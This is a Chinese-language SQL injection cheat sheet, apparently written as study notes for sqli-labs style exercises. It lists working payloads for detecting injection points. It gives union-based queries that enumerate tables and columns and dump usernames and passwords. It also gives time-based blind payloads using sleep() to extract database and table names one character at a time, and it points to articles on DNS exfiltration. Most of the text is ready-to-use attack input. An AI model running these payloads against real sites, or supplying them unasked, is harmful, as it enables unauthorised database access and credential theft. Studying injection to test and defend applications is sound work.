sql注入知识点

sql注入知识点

一.报错注入

1.判断类型–数字型 or 字符型

数字型判断:
1:输入id = x and 1=1,若页面返回正常,进行下一步。
2:输入id = x and 1=2 , 若页面返回错误,说明sql注入为数字型。

字符型判断
1:输入id=x' and '1' ='1,若页面返回正常,进行下一步。
2:输入id=x' and '1'='2 ,若页面返回错误,说明为字符型。

3.其余类型有?id=1") and ("1")=("1

2.注释语句

注释语句是–加空格再加一个字符,如果是–+就不需要空格,+是url编码后的空格(post情况下例外)

3.基本语句

order by 4
判断有多少列

union select 1,2,3
判断数据显示点

union select 1,user(),database()
­显示出登录用户和数据库名

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3
查看数据库有哪些表

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),3
查看对应表有哪些列

union select 1,(select group_concat(username,password)from users),3

二,布尔盲注

1.适用情况

如果数据 不显示只有对错页面显示可以选择布尔盲注

2.基本原理函数

ascii() 函数,返回字符ascii码值
参数 : str单字符

length() 函数,返回字符串的长度
参数 : str 字符串

left() 函数,返回从左至右截取固定长度的字符串
参数str,length

str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度

三.时间盲注

利用if(exp1,true,false)语句,形成有exp1成立,跳转延时原理对没有报错界面进行爆破注入

?id=1’ and if(1=1,sleep(5),1)–+
判断参数构造。
?id=1’and if(length((select database()))>9,sleep(5),1)–+
判断数据库名长度
?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+
逐一判断数据库字符

?id=1’and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1, 1),1)>13,sleep(5),1)–+
判断所有表名长度

?id=1’and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1, 1),1,1))>99,sleep(5),1)–+
逐一判断表名

四.报错函数语句注入

SQL注入-报错注入 | qwzf

五.DNS回显

当目标无显示位也无错误回显时便可使用此方法

(22条消息) SQL注入之dns回显注入_行云tack的博客-CSDN博客_dns sql注入

(22条消息) SQL注入之利用DNSlog外带盲注回显_baynk的博客-CSDN博客_dnslog外带